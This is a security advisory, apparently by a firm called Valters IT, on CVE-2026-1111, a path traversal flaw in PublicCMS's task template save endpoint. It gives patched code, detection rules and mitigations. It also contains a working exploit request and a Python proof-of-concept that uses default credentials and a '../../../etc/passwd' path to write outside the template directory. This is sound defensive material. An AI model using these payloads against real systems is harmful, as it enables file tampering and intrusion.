CVE-2026-1111

Executive Summary

CVE-2026-1111 is a path traversal vulnerability in Sanluan PublicCMS, affecting versions up to 5.202506.d. The flaw exists in the Task Template Management Handler, specifically in the Save function of TaskTemplateAdminController.java. An authenticated attacker can manipulate the path argument to traverse directories, potentially reading or writing arbitrary files on the server. The CVSS score is 4.7 (Medium), and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor, but mitigations include input validation and access controls.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a Java-based CMS application (PublicCMS). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid account
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited file read
• Integrity Impact: Low (I:L) – limited file write
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication but is trivial once authenticated. Public PoC increases risk.

Deep Dive & Mechanics

The vulnerability resides in the Save method of TaskTemplateAdminController.java. This method handles saving task templates and accepts a path parameter that specifies the file path for the template. Due to insufficient sanitization, an attacker can supply a path containing ../ sequences to escape the intended template directory.

Root Cause: The application does not validate or canonicalize the user-supplied path argument before using it in file operations. This allows directory traversal.

Attack Flow:

1. Attacker authenticates to PublicCMS (e.g., as an admin or editor).
2. Attacker sends a crafted POST request to the task template save endpoint with a path like ../../../etc/passwd.
3. The server writes or reads files outside the intended directory, leading to information disclosure or arbitrary file write.

Impact:

• Read sensitive files (e.g., configuration files, credentials).
• Write malicious files (e.g., JSP shells) if the web server has write permissions.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// TaskTemplateAdminController.java (vulnerable)
public void Save(String path, String content) {
    File file = new File(templateDir + path);
    // No validation of path
    FileUtils.writeStringToFile(file, content);
}

Patched Code (recommended):

// Patched version
public void Save(String path, String content) {
    // Canonicalize and validate path
    File baseDir = new File(templateDir).getCanonicalFile();
    File file = new File(baseDir, path).getCanonicalFile();
    if (!file.getPath().startsWith(baseDir.getPath())) {
        throw new SecurityException("Invalid path");
    }
    FileUtils.writeStringToFile(file, content);
}

The patch ensures that the resolved path stays within the intended base directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for PublicCMS (e.g., admin:admin).
• Network access to the PublicCMS instance.

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Send a POST request to /admin/sysTaskTemplate/save with the following payload:

   POST /admin/sysTaskTemplate/save HTTP/1.1
   Host: target.com
   Cookie: JSESSIONID=your_session_id
   Content-Type: application/x-www-form-urlencoded
   
   path=../../../etc/passwd&content=test
   

3. The server will write test to /etc/passwd (if permissions allow) or read it.

PoC Script (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Authenticate
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/login", data=login_data)

# Exploit path traversal
payload = {"path": "../../../etc/passwd", "content": "pwned"}
r = session.post(f"{target}/admin/sysTaskTemplate/save", data=payload)
print(r.text)

Blue Team

Detection:

• Monitor for POST requests to /admin/sysTaskTemplate/save with path parameters containing ../ or absolute paths.
• Alert on file writes outside the expected template directory (e.g., /var/www/publiccms/templates/).

Hunting:

• Search logs for path values containing .. or starting with /.
• Check for unexpected files in system directories (e.g., /etc/, /tmp/).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/sysTaskTemplate/save with path containing ../.
  • Unusual file write requests to system paths.
• File System:
  • Unexpected files in /etc/, /var/www/, or /tmp/ with content from PublicCMS.
  • Modified configuration files (e.g., config.properties).
• Logs:
  • Application logs showing FileNotFoundException or SecurityException for path traversal attempts.
  • Web server logs with 400 or 500 errors on the save endpoint.

Detection Engineering

YARA Rule

rule CVE_2026_1111_PathTraversal {
    meta:
        description = "Detects path traversal attempts in PublicCMS TaskTemplateAdminController"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-1111"
    strings:
        $path_traversal = /path=.*\.\.\// nocase
        $save_endpoint = "/admin/sysTaskTemplate/save"
    condition:
        $save_endpoint and $path_traversal
}

Sigma Rule

title: PublicCMS Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in PublicCMS TaskTemplateAdminController
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/sysTaskTemplate/save'
        cs-uri-query|contains: 'path='
    keywords:
        - '..'
        - '%2e%2e'
    condition: selection and keywords
falsepositives:
    - Legitimate use of relative paths in template names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1111 PublicCMS Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/admin/sysTaskTemplate/save"; http_uri; content:"path="; http_client_body; pcre:"/path=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Otherwise, apply manual fixes.
2. Input Validation: Implement strict validation on the path parameter to reject ../ sequences and absolute paths.
3. Access Controls: Restrict access to the task template management endpoint to trusted users only.

Long-term:

• Code Review: Audit all file operations for path traversal vulnerabilities.
• Web Application Firewall (WAF): Deploy rules to block path traversal patterns.
• Monitoring: Enable logging and alerting for suspicious file access patterns.

Workaround:

• Modify the TaskTemplateAdminController.java to canonicalize paths and check they stay within the template directory (see patched code above).

Valters IT